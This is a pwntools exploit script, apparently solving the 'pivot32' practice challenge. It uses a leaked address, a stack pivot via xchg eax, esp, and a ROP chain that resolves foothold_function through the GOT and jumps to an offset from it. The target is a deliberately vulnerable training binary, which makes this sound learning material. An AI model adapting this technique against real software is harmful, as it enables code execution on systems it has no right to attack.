#!/usr/bin/env python
# Author : 0xsegf
# https://github.com/arjunshibu
# https://www.hackthebox.eu/home/users/profile/201892
from pwn import *

p = process('./pivot32')

eax = p32(int(p.recvline_contains('The Old')[-10::].strip(), 16))

#SECOND STAGE
rop2 = p32(0x080485f0)				# foothold_function@plt
rop2 += p32(0x080488c0)				# pop eax; ret
rop2 += p32(0x0804a024)				# foothold_function@got
rop2 += p32(0x080488c4)				# mov eax, dword ptr [eax] ; ret
rop2 += p32(0x08048571)				# pop ebx; ret
rop2 += p32(0x1f7)
rop2 += p32(0x080488c7)				# add eax, ebx ; ret
rop2 += p32(0x08048a5f)				# jmp eax

p.recvuntil('>')
p.sendline(rop2)

#FIRST STAGE
rop1 = cyclic(44)
rop1 += p32(0x080488c0)				# pop eax ; ret
rop1 += eax
rop1 += p32(0x080488c2)				# xchg eax, esp ; ret

p.recvuntil('>')
p.sendline(rop1)

p.interactive()